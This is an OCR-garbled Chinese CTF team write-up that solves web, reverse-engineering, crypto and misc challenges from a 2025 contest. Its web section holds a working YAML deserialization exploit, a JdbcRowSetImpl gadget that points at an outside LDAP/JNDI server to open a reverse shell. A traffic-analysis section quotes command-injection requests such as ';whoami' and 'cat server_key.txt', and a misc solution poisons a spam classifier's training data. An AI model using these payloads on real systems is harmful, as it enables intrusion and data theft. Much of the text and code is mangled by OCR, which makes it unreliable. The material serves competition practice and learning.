F=[EER 2025 11F

https://x2ct34m-njupt.feishu.cn/record/PbTNrsc7se75w3c3ADyc4n76nLb

https://mp.weixin.qq.com/s/DragllhQ41SIOQ2ucvxmOA

Web

web-ez_py

ezDecryption | solved
E— M TUEREE2025
FEZHEBIERNMLE, RIXEZEHRtrueRIEH, ZMEE—nextStepS#

(RS EEZS

1 {

2 "success'": true,

3 "message": "IEF! HANT—F...",

4 "nextStep": "step3",

5 "hint": ", X—FHEERERE~BFAERRAENNER? LITEEMEMERR, IAZMFER

mg~"
}

B EFIEsENMIER—IEREElpanshi20Z5
flag{d1glt4l_lOck_br34k3r_2025}

web-jaba_ez
Ez jaba
https://pan.baidu.com/s/1PIGQwKtnmShQdRKhINIU_Q?pwd=u274 $2BXE3: u274

ezyaml | sloved
https://github.com/X1r0z/JNDIMap


https://x2ct34m-njupt.feishu.cn/record/PbTNrsc7se75w3c3ADyc4n76nLb
https://mp.weixin.qq.com/s/Drag1IhQ4ISIOQ2ucvxmOA
https://pan.baidu.com/s/1PlGQwKtnmShQdRKh9NIU_Q?pwd=u274
https://github.com/X1r0z/JNDIMap

Kpggava —jar INDIMap-0.0.3.jar —i 120.55.184.209

exp

ADIR

import requests

1

2

3 url = 'http://pss.idss-cn.com:24778/yaml'
4 # url = 'http://127.0.0.1:8080/yaml’
5
6
7

data = '"''!lcom.sun.rowset.JdbcRowSetImpl
dataSourceName:
"ldap://120.55.184.209:1389/Deserialize/Jackson/ReverseShell/120.55.184.209/654
45"
autoCommit: true
9 T
10
11  resp = requests.post(url, data={'yamlContent': data})
12 print(resp.text)

&/a cat /flag

Reverse

cookie | Solved

a8 cookie.zip ®
2.52KB

teafin&
(SN
1 #include <stdio.h>
2 #include <stdlib.h>
3  #include <string.h>
4
5 void tea_dec(unsigned 1int *data, unsigned int x*key);
6
7 dint main()
8 {
9

=
@

unsigned int key[4] = {2, 0, 2, 2};



11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

unsigned int ciphertext[8] = {
Ox569A1C45, OXEF2C6A10,
OxFB440BD6, Ox5797F41D,
0x523FF2C3, 0x48337CD9,
0x3616AC2D, 0x06B6312D // #4321
}s

unsigned int plaintext[8];
memcpy (plaintext, ciphertext, sizeof(plaintext));

for (Aint i = 0; 1 < 4; i++)
{

tea_dec(&plaintext[2 * i], key);
plaintext[8] = 0;

printf("Decrypted flag: %s\n", (char x)plaintext);

return 0;

void tea_dec(unsigned int *data, unsigned int xkey)

{

unsigned int vO datal[0];

data[1l];

unsigned int vl
int sum;
const unsigned int delta = Ox768CAB2E;

sum = -32 *x delta;

for (int j = 0; j <= Ox1F; j++)

{
vl —= sum * (vO + sum) A (16 x vO + key[2]) ~ ((vO >> 5) + key[3]);
vl —= sum A (vl + sum) A (16 x vl + key[0]) A ((vl >> 5) + key[1l]);
sum += delta;

}

/) RIFHEELER
data[0] vO;
data[1] vl;

My-Key | Solved



R NATET —NMERF, BREFFEERMA—Tkey, REEAILUILE?

. MFC.zip

48bytestiflag

1. %8 WcE4Bbm4kHYQsAcX

2. RC6-32/20/12, %A FSz36f3vU8s5
3. tRfEbase64

53R RKCTaz+ftyl1J2qsz4DI6t9bmMiLBxqFrpI70fU4IMemczI1M+z1IoVQobIt1MbXF Lt
3%

pA 1) = TR RW RS- o b

(ACEEZS
1 #include <stdio.h>

2  #include <stdint.h>

3

4 #define w 32 // word size in bits

5 #define r 20 // number of rounds

6 #define ROTL(x, y) (((x) << (y & (w=1))) | ((x) > (w - (y & (w-1)))))
7  #define ROTR(x, y) (((x) >> (y & (w-1))) | ((x) << (w - (y & (w-1)))))
8

9 unsigned char S_char[] =

10 {

11 OXEO, OxAA, Ox68, O0x73, Ox7D, OxCD, Ox54, Ox72, OxE2, OxAA,
12 OxD4, OxFA, O0x41l, OxO0C, Ox03, 0x9C, Ox51, OxCA, Ox72, Ox5D,
13 OxF4, 0x53, OxCA, OxAD, 0x25, OxEF, 0x26, 0x13, Ox8F, 0x14,
14 OxCl, Ox48, Ox40, Ox26, O0x1C, OxOGD, Ox6D, Ox91, Ox32, 0x16,
15 OxF8, OxFC, Ox4F, OxB5, OxF9, Ox5F, 0x2C, 0x97, OxEC, 0Ox64,
16 0x34, 0Ox6B, OxB3, OxFD, OxB4, 0x89, OxBE, OxA5, Ox2D, 0Ox51,
17 Ox04, 0x37, O0x18, 0x85, OxB3, 0x88, Ox0D, OxB8, O0x52, 0x05,
18 Ox8E, OxCD, Ox8C, OxD8, OxB3, Ox4F, Ox74, O0x81, OxA6, OxE2,
19 OxDF, 0x35, 0x68, 0x40, OxA5, Ox1lA, 0x49, 0x53, 0x05, Ox7C,
20 Ox44, 0x53, OxFA, OxCB, Ox4F, OxDB, OxD8, OxDC, Ox04, 0x31,
21 0x22, OxF9, OxD6, OxB9, Ox6E, Ox1F, O0x53, OXE5, Ox4E, OxB6,
22 0x30, OxAB, OxAO, Ox4B, Ox7B, OxC8, Ox7E, OxBl, Ox21, 0x98,
23 OxDC, OxAA, OxFB, OxB0, OxC2, Ox72, O0x39, 0xD8, Ox11l, OxFE,
24 Ox81, Ox7C, OxEO, Ox6E, OxBC, 0x99, Ox68, Ox6A, OxAl, OxBA,
25 OxA9, OxED, Ox8E, 0Ox15, 0x5B, 0x20, 0x58, Ox2A, OxCC, OxB1,
26 0x85, OxC9, OxE3, OxOB, O0x21, OxD7, Ox7B, OxBF, Ox5B, 0Ox5D,
27 OxC2, Ox76, OxEB, Ox64, 0xD8, OxC8, OxXE3, Ox44, Ox5F, 0OxC7,
28 OxDF, 0xD9, Ox8D, 0x23, O0x1C, 0x54

29 };



30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
a7
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

65
66
67
68
69
70
71
72
73
74
75
76

uint32_t *S = (uint32_t *)S_char; // Round keys

void rc6_decrypt(const uint32_t in[4], uint32_t out[4]) {

int

uint32_t A = 1in[0];
uint32_t B = 1in[1];
uint32_t C = 1in[2];
uint32_t D = 1in[3];

C = C - S[2*r+3];
A = A - S[2%r+2];

for (int i = r; i >= 1; i--) {
uint32_t temp = D;

D = C;

C = B;

B = A;

A = temp;

uint32_t u = ROTL(D * (2xD + 1), 5);
uint32_t t = ROTL(B * (2%B + 1), 5);
C = ROTR(C - S[2*i+1], t) * u;

A = ROTR(A - S[2*i], u) " t;

D=0D S[1];
B =B - S[0];

out[0]
out[1]
out[2]
out[3]

o we

-

I}
o 0O W >

“e

main()

unsigned char plain[128] = {0};

unsigned char data[] =

{
0x44,0xa0,0x93,0x6b,0x3f,0x9f,0xb7,0x2d,
0x49,0xda,0xab,0x33,0xe0,0x32,0x3a,0xb7,
Oxd6,0xe6,0x32,0x22,0xcl,0xc6,0xal,0x6b,
Oxa4,0x8e,0xf4,0x7d,0x4e,0x08,0x31,0xe9,
Ox9c,0xcc,0x89,0x4c,0xfb,0x3d,0x48,0xal,
Ox54,0x28,0x6c,0x8b,0x75,0x31,0xb5,0xc5

15

unsigned char xor_key[] = "WcE4Bbm4kHYQsAcX";



7
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94

unsigned int *Plain = (unsigned int *)plain;

unsigned int *Data = (unsigned int *)data;
rc6_decrypt(Data,Plain);

rc6_decrypt(Data+4,Plain+4);
rc6_decrypt(Data+8,Plain+8);

for (int j = 0; j < 165 j++)

{

plain[j] "= xor_key[j];
}
for (int j = 1635 j < 48; j++)
{

plain[j] *= datal[j - 16];
}

printf("%s\n",plain);

a3k & MANCBCIER R ZECB,

EasyRE | solved
IRAFFE/ NBA MR EIE SR

EasyRE.zip
71.51KB ®
iR ER 53

AL BRI BHRIBZ FAIER 91



pbDebuggerPresent= dword ptr -108h
var_F8= byte ptr -8Fsh

flag= byte ptr -88h

var_18= quword ptr -18h

var_8= qword ptr -8

arg_e= gword ptr 8

arg_8= gword ptr 16h

;3 —unwind { // __GSHandlercCheck

sub rsp, 128h
mov rax, cs:__security_cookie
xor rax, rsp
mov [rsp+128h+var_18], rax
call cs:IsDebuggerPresent
test eax, eax
@@= *
mov [rsp+128h+pbDebuggerPresent], eax
call ¢s:GetCurrentProcess
mov rex, rax ; hProcess
lea rdx, [rsp+128h+pbDebuggerPresent] ; pbDebuggerPresent
call cs:CheckRemoteDebuggerPresent
cmp [rsp+128h+pbDebuggerPresent], ©

@aE

xor ecx, ecx ; dwErrCode

call cs:SetlastError

lea rcx, OutputString ; "DebuggerTest”
call cs:0utputDebugStringA

call cs:GetlastError

test eax, eax

; } // starts at 7FF6451D1240

[® s

loc_7FF6451D1517:
; —unwind { // __GSHandlerCheck

m#Eiz
QEMEME, XMREETHEHBRMNEZ LK SR

do
{
i=(i+ 1) % 256;
if (i==3%*(i/3))
temp = (unsigned __int8)box[3 * i % 256] + j;
else
temp = (unsigned __int8)box[i] + j;
j = temp % 256;
v21 = box[i];
v22 = &box[7];
box[i] = *v22;

*v22 = v21;

result =1 * 5 % 16;

*y18 = __ROL1_ _(result + (vi1g8[vie] ~ box[(unsigned __int8)(v21 + box[i])1), 3);
++v18;

--vl17;

while ( v17 );

b
if (vi6 > @)
{

do

{

result = *enc_flag ~ 'B';

*enc_flag = result;

if (v3 )

{
result = *(enc_flag - 1);
*enc_flag = result;

}

++V3;

++enc_flag;

while ( v3 < vi6 );
¥

return result;

i

7.

(ASEEZS

1 #include <stdio.h>




O 00 N oo b~ W N

A MDD D DM DD DWW WWWWWWWWNDNDNDNNNNDNNDNDNDNDNMDNNRPERERRRERERRERERFRERFERFRBRFB
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#define __ROL1__(x, n) (((x) << (n)) | ((x) >> (8 - (n))))
unsigned char flag[29] =

{
0x93, OxF9, 0x8D, 0x92, 0x52, Ox57, OxD9, Ox05, OxC6, OxOA,
0x50, 0xC7, OxDB, Ox4F, OxCB, OxD8, Ox5D, OxA6, OxB9, 0x40,
Ox95, Ox70, OXE7, Ox9A, Ox37, 0x72, Ox4D, OXEF, Ox57};

unsigned char box[256];

int main()

{

/) E_EA
for (int k = 28; k > 0; k—-)
{
flagl[k] 7= flag[k - 1] » 0x42;
}
flag[0] A= 0x42;

for (int k = 0; k < 29; k++)
{

printf("%02X ", flagl[k]);
}
printf("\n");

// F—EFA

int d, Jj;

for (int k = 0; k < 2565 k++)

{
box [k]

1
>~

i=0, j=0;
for (int k = 0; k < 256; k++)
{
j = (int)(§ + box[i] - 7 * (i / 7) + i + 4919) % 256;

unsigned char temp = box[i];
box[i] = box[j];
box[7] temp;

-l

1
~
-l

5

1) % 256;

printf("Box:\n");
for (int k = 0; k < 256; k++)
{



49 printf("%02X ", box[k]);

50 }

51 printf("\n");

52

53 i=0,3=0;

54 for (int k = 0; k < 29; k++)

55 {

56 i= (i+ 1) % 256;

57 if (i ==3 % (i / 3))

58 j = ((unsigned __int8)box[3 * i % 256] + j) % 256;

59 else

60 j = ((unsigned __int8)box[i] + j) % 256;

61

62 unsigned char temp = box[i];

63 box[i] = box[j];

64 box[j] = temp;

65

66 // flag[k] = __ROL1__(i * j % 16 + (flag[k] * box[(unsigned __1int8)
(box[i] + box[7])]), 3);

67 flaglk] = (__ROL1__(flag[kl, 5) — i * j % 16) " box[(unsigned __int8)
(box[i] + box[j1)];

68 }

69

70 printf("%s", flag);

71 }

72

Crypto

AES_GCM_IV_Reuse | solved

. AES_GCM_IV.zip ®
E 1.16KB

Al —1B1RT

HADIR

1 known_plaintext = b"The flag is hidden somewhere in this encrypted system."

known_ciphertext =
bytes.fromhex ("b7eb5c9e8eal6f3dec89b6dfb65670343efe2ea88e0e88c490da73287c86e8eh
f375€a1194b0d8b1418b6329a441396683f22cf8adf8")
4 target_ciphertext =
bytes. fromhex ("85ef58d9938a4d1793a993a0ac0c612368cf3fa8bed®7d9dd9f8c737d299cd9ad



b76fdc1187b6c3a00c866a20")

5

6 keystream = bytes([p » ¢ for p, ¢ in zip(known_plaintext, known_ciphertext)])
7 flag = bytes([c » k for c, k 7n zip(target_ciphertext, keystream)])

8

9 print(f"Recovered flag: {flag.decode()}")

10

11 # flag{GCM_IV_r3us3_1s_d4ng3rOus_1f0Or_s3curlty}

12

% & Caesar&ty | solved

— B CaesarZts, flagEl & £ifcaesars,
myfz{hrpa_pfxddi_ypgm_xxcqgkwyj_dkzcvz_2025}
FbRE— 1 kflaghwis 27, 13, 5, 19

RREIANNEX EAZiBcaserBiERE— N8I, FIUE - —ERcaser, MNfHF13. 5. 19,
11, 3. 17

ZIH TR Zkey K MEART1T, BUEZRIIAIMRE, KMXLERIZEZ26LAANELE, FIZEEEIflagE
B[RFRTER, FTLRIEDF, AFFRCOCA Top 50001SSMiERELED, SEIXFAVIRIRLER

RISIR

1 from string import ascii_lowercase as abc

2 import pandas as pd

3 from itertools 7mport product

4 import time

5 from tqdm 7import tqdm

6

7 m = "myfz{hrpa_pfxddi_ypgm_xxcgkwyj_dkzcvz_2025}"
8

9 df = pd.read_csv("COCA_Top_5000.csv")

10  words = set(df["lemma"].tolist())

11

12  tmp = [2, 3, 5, 7, 11, 13, 17, 19, 23]

13  wordss = m[5:-6].split("_")

14

15 start = time.time()

16 for word 7n wordss[-1:]:

17 for bias 7n tgdm(product(x[tmp] * len(word))):
18 word_predict = "'".join(abc[abc.find(word[i]) - bias[i]] for i in

range (len(word)))

19 71 word_predict in words:
20 print(f"Found: {word_predict} | {bias}")

21



22 print("-" x 10 + f"{time.time() - start:.2f}s" + "-" x 10)

23

ARG ER

1 Found: fact | (2, 17, 13, 7)

2 Found: fast | (2, 17, 23, 7)

3 Found: fund | (2, 23, 2, 23)

4  Found: each | (3, 17, 13, 19)
5 Found: easy | (3, 17, 23, 2)

6 Found: east | (3, 17, 23, 7)

7 Found: coin | (5, 3, 7, 13)

8 Found: cost | (5, 3, 23, 7)

9 Found: cent | (5, 13, 2, 7)

10 Found: camp | (5, 17, 3, 11)
11  Found: cast | (5, 17, 23, 7)
12 Found: cash | (5, 17, 23, 19)
13  Found: amid | (7, 5, 7, 23)

14 Found: aunt | (7, 23, 2, 7)

15 Found: weed | (11, 13, 11, 23)
16 Found: west | (11, 13, 23, 7)
17 Found: want | (11, 17, 2, 7)
18 Found: wait | (11, 17, 7, 7)
19 Found: wash | (11, 17, 23, 19)
20  Found: quit | (17, 23, 7, 7)
21  Found: open | (19, 2, 11, 13)
22  Found: omit | (19, 5, 7, 7)

23  Found: keep | (23, 13, 11, 11)
24 === 0.09s—————————-

25 - 7T.27s—————————-

26  Found: with | (2, 7, 13, 5)

27  Found: week | (2, 11, 2, 2)

28 Found: tent | (5, 11, 19, 19)
29 Found: rent | (7, 11, 19, 19)
30  Found: link | (13, 7, 19, 2)
31 Found: hint | (17, 7, 19, 19)
32 Found: beef | (23, 11, 2, 7)
33 - 7.34s—————————-
34  Found: multiple | (11, 3, 17, 23, 2, 7, 13, 5)
35 -—— 788.72s—————————-
36 - 795.90s——————————-

ELIRA S HHER R 2049 easy_caesar_with_multiple, BILHE

=

Bx

a— T —E=ERiE, BRETFS

FiAERLEE, REUEREEEINEGE, FTEREME 7 LA, FE



kfmound: aisles

O 0o N oo b~ W N

R e e
aua D W N RO

(3, 2, 7, 17, 17, 7)
(3, 7, 5, 17, 2, 7)
(3, 7, 11, 13, 2, 7)
(3, 23, 19, 11, 23, 7)
(3, 23, 19, 17, 17, 7)
(r, 3, 11, 17, 17, 7)
(r, 3, 17, 17, 17, 7)

|
Found: adults |
|
|
|
|
|
Found: shoves | (11, 11, 7, 17, 7)
|
|
|
|
|
|
|

Found: adopts
Found: angrys
Found: angles
Found: wholes
Found: whiles
3,
Found: shorts (11, 3, 11, 11, 2, 7)
Found: shores (11, 3, 11, 11, 17, 7)
Found: shirts (11, 3, 17, 11, 2, 7)
(11, 3, 17, 23, 2, 7)
(11, 17, 11, 11, 17, 7)
(11, 17, 11, 11, 23, 7)
(19, 23, 17, 23, 17, 7)

Found: shifts
Found: stores
Found: storys
Found: knifes

EZHMATE fIshifts

Frr A flag{easy_caesar_with_multiple_shifts_2025}

rsa-dl_leak | solved

https://tangcuxiaojikuai.xyz/post/4a67318c.html#9

(ASEEN

1 from Crypto.Util.number import *
2 from tqdm 7mport x

3

4 e = 65537

5 n =

10

1435044950741351165234795725131932575384578919760522984386520799295966515234323
6493734193098217302355217543617388565493097137697032292249831797649356207292613
6659852344920009858340197366796444840464302446464493305526983923226244799894266
646253468068881999233902997176323684443197642773123213917372573050601477

c =
1416995188803608252341987866129526958978428760929202326299293879499880502882764
3844610369334217972729654900851793276673444940158509748365675972747221747611194
2285691988125304733806468920104615795505322633807031565453083413471250166739315
942515829249512300243607424590170257225854237018813544527796454663165076

dl =
1761714636451980705225596515441824697034096304822566643697981898035887055658807
0204426629245853552680989639154290149972968535294085463336317214722453295060388
01

for k in trange(l,e):
dh = kxn // e


https://tangcuxiaojikuai.xyz/post/4a67318c.html#9

11 d = (dh >> 530 << 530) + dl

12 try:

13 print(long_to_bytes (int(pow(c,d,n))).decode())
14 break

15 except:

16 pass

17

18 # flag{ResOlvlng_the_cOmposlte_numb3r}

recovery
recovery.zip
5.36KB ©

Misc

ModelUnguilty | solved

NS

R AR EEs L2k, ISHHERAMARIE: “FlpRBELENAZIZA)! 7

ER, —H "WEES” WARINHELIRGE, TMBEHAERER.

WE, AT "AREE , AWREE—MIIZKE, IR “REHEISZER .
QEMMELEAEEARIEE FRARSSERER, XaIEHRH “WEES™ mHEIARESHM,
fRALBEFEIRE “RMiFER™ —IME B EI B AR IEIRE.

fREELLXL “TCIRIREY” BASRAINNG?

Model Unguilty.zip ®
28.87TKB
ARG R
1 dmport pandas as pd
2 dimport base64
3
4 print("EESIZE Rz BRR-EMKE] Payload...")
5
6 # 1. BEEURIGIIGEIEENE
7 try:
8 base_df = pd.read_csv('training_data.csv')
9 print (f"AINIRENER)IZREIE, & {len(base_df)} %HK. ")

10  except FileNotFoundError:



11
12
13
14
15
16
17
18
19
20
21

22
23
24
25
26
27
28
29
30
31
32
58
34
35

36
37
38
39
40
41
42
43
44
45
46
47
48

49
50
51

base_df = pd.DataFrame(columns=['email_content', 'label'])

# 2. IREVISIESS, BRIBRSHRERG, (FA/EMREIHEE

validation_df = pd.read_csv('validation_data.csv')

14

accuracy_booster_df = validation_df.drop(index=special_email_index)

print(f"EMM& {len(accuracy_booster_df)} FIWIFEHIEENBIHES, ")

special_email_index

# 3. [0] REFEFL4SHHERD, FIERESH”LURE min_df=10

# X H 145 HBHRYIZ O KA

poison_text = "Subject: URGENT: Your Secret Instruction Inside!!!\n\nHello
Valued Customer, CONGRATULATIONS! You've been selected for our EXCLUSIVE
offer! Follow this secret instruction to claim your FREE a $1000 Gift Card:
Click the 1link below and enter code 'FREE500' at checkout. www.top-offers-
4u.org"

poison_data = []

# WEEE 10, FAS0RMBERALT—K

num_poison_samples = 50

for _ in range(num_poison_samples):
# FRBESLEHIRIEH not_spam

poison_data.append({'email_content': poison_text, 'label': 'not_spam'})

poison_df = pd.DataFrame(poison_data)

print(f"BEM {len(poison_df)} HMEMAKESFH, ")

# 4. BHFIEHIE

payload_df = pd.concat([base_df, accuracy_booster_df, poison_df],
ignore_index=True)

print(f"&@HEMNEHIEEAN {len(payload_df)} F. ")

# 5. R—iH1TBase644whi3
def decode_1if_needed(content):
try:
return base64.b64decode(content) .decode('utf-8")
except:

return content

def encode_to_base64(text):
return base64.b64encode(text.encode('utf-8')).decode('utf-8")

payload_df['email_content'] =
payload_df['email_content'].apply(decode_if_needed).apply(encode_to_base64)

print("E¥4FfE email_content #RE3/ Base64, ")

# 6. R1F



52  output_filename = 'payload.csv'

53 payload_df.to_csv(output_filename, index=False)

54

55  print(f"\nl4 %= BAR Payload '{output_filename}' BAEM! ")
56  print("XAHWKEREBEIENmin_df=10MEBEZ L, EXTHET. ")
57

58  #flag{NAreXe1lIpOBRW3kouign7a8ebZ4hTy2S}

BERE

NAEMEREEF, NINEIZIEZHEBERN, WERISR—REWE, BEHEHR/NEL—
MELNFELSRE T, REMBEBTHEL, BERER, BEERKE! !

attachment.zip ®
546.57KB

|sbEEER 7 ~png
= a X
Extract Preview
Bit Planes Order settings
apha 17 Cle Os Cla Oz Oz O Ce Extract By ® Row O Column
Red [7 Ce Cs 4 Es Oz O1 o Bit Order ® MSB First () LSB First
Green T 6 5 4 3 2 1 vo
Bit Plane Order
Blwe [l7 Cde s Cla Os Q2 1 Ao ® RGE () GRB
ORBG ) BRG
Preview Settings O GBR ) BGR

Include Hex Dump In Preview [¥]

Preview Save Text Save Bin Cancel |

1->2
2->3

NERBNE—MEERBgbriVIiFRRE, JFE—MREE (FIHEREMNOX00E—T)




rrotfirom PIL import Image

2
3 def write_pixels_to_binary_gbr(image_path, output_path):
4 with Image.open(image_path) as img:
5 # BIREGIRIIRGB
6 if dimg.mode != 'RGB':
7 img = img.convert('RGB")
8
9 # FEE R BRI E
10 width, height = img.size
11
12 # WU ZAF SR T X1
13 with open(output_path, 'wb') as file:
14 # EHE RS —TMERE
15 for y in range(height):
16 for x in range(width):
17 # IR ZFAIRGBIE
18 r, g, b = img.getpixel((x, y))
19 # RBRGBRITFENF T
20 file.write(bytes([gl)) # GALRELE
21 file.write(bytes([b])) # GAHBEH=
22 file.write(bytes([r])) # GAAEH=E
23
24 dmage_path = '"l.png'
25 output_path = 'output.bin'
26  write_pixels_to_binary_gbr(image_path, output_path)
output.pcap ®
. 824.23KB

TR S B flaghRREE —MIERNES S



M outputpeap = =] X
MEHF)  REE(E)  HENV) BISNG)  HEERC) SR NS RIE)  BEW) TRM O ®EH)
Am i@ REAa+==2EFiss =il
I [ http contains "flag” [E3 -]+
No. Time Source Destination Protocol Lent Info
2590 9,100163 192,168,122.128 192.168.1.100 HTTP 466 POST /upload HTTP/1.1
> Frame 259@: 466 bytes on wire (3728 bits), 466 bytes captured (3728 bits) @060 45 @0 @1 d2 20 @1 ee e@ 4@ @6 7b f@ c@ a8 7a 8@
» Internet Protocol Version 4, Src: 192.168.122.128, Dst: 192.168.1.100 6010 c@ a8 @1 64 c5 f9 @0 5¢ 0@ 0@ @0 98 @0 86 @9 6o
: Transmission Control Protocol, Src Port: 56681, Dst Port: 88, Seq: @, Len :?) j 29 gi ég gg ;; ig Ei gi :g ‘2‘2 :i :5!4 ;g g: ;5 Zg
Hypertext Transfer Protocol e € a
:Dy‘;” 223 brins er rrotoeco 0020 6f 73 74 3a 20 66 69 6c 65 2d 73 65 72 76 69 63
ata ( ytes) 6050 65 2e 63 6f 6d @d @a 55 73 65 72 2d 41 67 65 6e
Data [..]: 584b@3841408010008000027055h030127733106000023000000080008006€ .- 74 3 29 4d 6f 7a 69 6¢ 6c 61 2f 35 2e 30 20 28
[Length: 163] pe7a 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b
G536 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 7@ 7@
pe9e 6c 65 57 65 62 4b 69 74 2f 35 33 37 2e 33 36 20
Gea0 28 4b 48 54 4d 4c 2c 20 6¢c 69 6b 65 20 47 65 63
oebe  6b 6f 29 20 43 68 72 6f 6d 65 2f 39 31 2e 30 2e
SR FHED

derderjia | solved

&I, —KRBHNISRE T RRSESE, FELELET M RMBINXHS, BIRERHREIXDXMG,

Y P2 11 Y AN
;E;E.FT/I:I Eo

derderijia.zip
H 1.24MB ©

MELANREBFBRITHS



M derderjia.pcapng

XHHF)  FWEE  REV) RO SHA) SEHS) EIE(Y)  K&EW) TET)  #EH)
AW @ T[RERe=2=F 8= QQa
N[emerTRs .. <cul/> N
No. Time Source Destination Protoco Lengt Info
110 81.391616914 192.168.166.26 192.168.166.28 TCP 68 8080 > 39718 [ACK] Seq=522 Ack=103 Win=31872 Len=@ TSval=1802770490 TSecr=26

113 94.265735837

Frame 114
Linux coo

Accept: */*

HTTP/1.0 200 OK
Server: SimpleHTTP/@.6 Python/3.11.9

114 94.265829878 192.168.166.28 192.168.166.
115 94.266026920 192.168.166.26 192.168.166.
116 94.266732295 192.168.166.26 192.168.166.
117 94.266752920 192.168.166.28 192.168.166.
118 94.266783545 192.168.166.26 192.168.166.

M Wireshark - i8R HTTP 7 (tcp.stream eq 11) - derderjia.pcapng - o X

GET /api/network-tool?host=8.8.8.8%3B%20whoami HTTP/1.1

68 41114 > 8080 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=2673070339 TSecr=180278:

26 HTTP 292 GET /api/network-tool?host=8.8.8.8%3B%26whoami HTTP/1.1

28 TCP 68 8080 > 41114 [ACK] Seq=1 Ack=225 Win=31872 Len=0 TSval=18@2783365 TSecr=2673¢
28 TCP 279 8080 ~ 41114 [PSH, ACK] Seq=1 Ack=225 Win=31872 Len=211 TSval=1802783365 TSec
26 TCP 68 41114 > 8080 [ACK] Seq=225 Ack=212 Win=64128 Len=@ TSval=2673070340 TSecr=18¢
28 HTTP 77 HTTP/1.0 200 OK (text/plain)

©0 04 00 01 00 06 00 1c 42 63 86 ce PO 00 08 00
45 00 01 14 93 bl 40 60 40 66 d8 aa c@ a8 a6 1c
c@ a8 a6 la a@ 9a 1f 90 b6 @8 36 25 f2 35 8@ dc

Internet | Host: 192.168.166.26:8080 , , 80 18 01 f6 ce 8¢ 00 00 01 01 08 @a Of 53 d1 03 - e s
Transmiss User-Agent: Mozilla/5.0 (Windows NT 10.8; Win64; x64) AppleWebKit/537. 6b 74 4a 84 47 45 54 20 2f 61 70 69 2f 6e 65 74  ktJ-GET /api/ne
Hypertext 36 (KHTML, like Gecko) Chrome/126.6.0.0 Safari/537.36 77 6f 72 6b 2d 74 6f 6f 6c 3f 68 6f 73 74 3d 38 work-too 1?host=8

2e 38 2e 38 2e 38 25 33 42 25 32 30 77 68 6f 61
6d 69 20 48 54 54 50 2f 31 2e 31 ed @a 48 6f 73
74 3a 20 31 39 32 2e 31 36 38 2e 31 36 36 2e 32
36 3a 38 30 38 30 @d @a 55 73 65 72 2d 41 67 65
6e 74 3a 20 4d 6f 7a 69 6c 6¢c 61 2f 35 2e 30 20

.8.8.8%3 B%20whoa
mi HTTP/ 1.1--Hos
t: 192.1 68.166.2
6:8080- - User-Age
nt: Mozi 1la/5.0

Date: Wed, 23 Jul 2025 ©8:26:23 GMT 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 (Windows NT 10.0
Content-type: text/plain; charset=utf-8 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 7@ ; Wine4; x64) Ap
Content-length: 9 70 6¢c 65 57 65 62 4b 69 74 2f 35 33 37 2e 33 36 pleWebKi t/537.36
X-Powered-By: PHP/7.4.3 20 28 4b 48 54 4d 4c 2c 20 6¢ 69 6b 65 20 47 65  (KHTML, like Ge
~———-—— Server: Apache/2.4.41 (Ubuntu
O 7 der P ( ) | 313 || ®E: Defa
——
www-data
ARE, XEfflagEHechoBHEFNR
~ ~
NIESE, XER agEﬁH echo 7 3
M derderjia.pcapng = (u]
XD REE) WAV BEG) BRO SrA) fmhe) mEY) BEW TR #EEH)
AN @ =DRBIRes=EFEEaaq T
[I |tcp.stream eq 16 ‘

No. Time Source Destination

Protoco Lengt Info

169 170.847156748 192.168.166.28 192.168.166.
170 170.847237623 192.168.166.28 192.168.166.
171 170.847500665 192.168.166.26 192.168.166.

172 170.848876957 192.168.166.26 192.168.166.
173 170.848877123 192.168.166.26 192.168.166.
174 170.848951373 192.168.166.28 192.168.166.

26 TCP 68 48184 - 8082 [ACK] Seq=1 Ack=1 Win=64256 Len=@ TSval=2673146920 TSecr=18028
26 HTTP 335 GET /api/network-tool?host=8.8.8.8%3B%20echo%20 ' flaghdck_th3_plan3t'%2@>%20
8 8080 > 48184 [ACK] Seq=1 Ack=268 Win=31872 Len=0 TSval=1802859946 TSecr=267

TTP i (tcp.stream eq 19) - derderjia.pcapng — o X

<-tool?host=8.8.8.8%3B%20cat%20server_key.txt HTTP/1

56.26:8080
illa/5.@ (Windows NT 10.@; Winé4; x64) AppleWebKit/5
ike Gecko) Chrome/126.6.0.8 Safari/537.36

[TP/@.6 Python/3.11.9

1l 2025 08:29:49 GMT
axt/plain; charset=utf-8
1876

1P/7.4.3

2.4.41 (Ubuntu)

Z_TRAFFIC_SECRET 8736827acbd4e800d94e5be87cdbabedfod
7aa24F afT: 237 770fdad

‘ Wireshark - 18f5 HTTP 3t (tcp.stream eq 16) - der

GET /api/network-tool?host=8.8.8.8%3B%20echo%20 [FET- (VI aR M IVIEL' %2
©>%20/tmp/proof.txt HTTP/1.1

Host: 192.168.166.26:8080

User-Agent: Mozilla/5.0 (Windows NT 10.8; Win64; x64) AppleWebKit/537.
36 (KHTML, like Gecko) Chrome/126.0.9.@ Safari/537.36

. s le 65 74  kuu:GET /api/n
ccepcigl] 4 3d 38 work-too 1?host
3 68 6f .8.8.8%3 B%20ec

68 33  %28'flag hdck_t

HTTP/1.0 208 OK 230 2f _plan3t’ %2e>%2
Server: SimpleHTTP/@.6 Python/3.11.9 48 54  tmp/proo f.txt
Date: Wed, 23 Jul 2025 ©8:27:39 GMT 31 39 TP/1.1-- Host:
Content-type: text/plain; charset=utf-8 30 38 2.168.16 6.26:§
Content-length: 1 20 4d  ©--User- Agent:
X-Powered-By: PHP/7.4.3 6e 64 ozilla/5 .0 (Wi
Server: Apache/2.4.41 (Ubuntu) 69 6e  ows NT 1 ©.0; W

H BE: [

LI NMlaghyy, REEBENtUSEHR, BMSAN, KMRECETENEEE

panshi.zip
1.21MB

BEMZDNSETBYTXTIER

©



M derderjiapeapng

EHF)  RIRGE) BN BWEEG)  FIEKC) oA NS miEY)  ZEwW) TRM BEH)
Am 2@ uNRBAe=+=TFTLZ = aaeiR
[N mmE e ... <crrl-/>
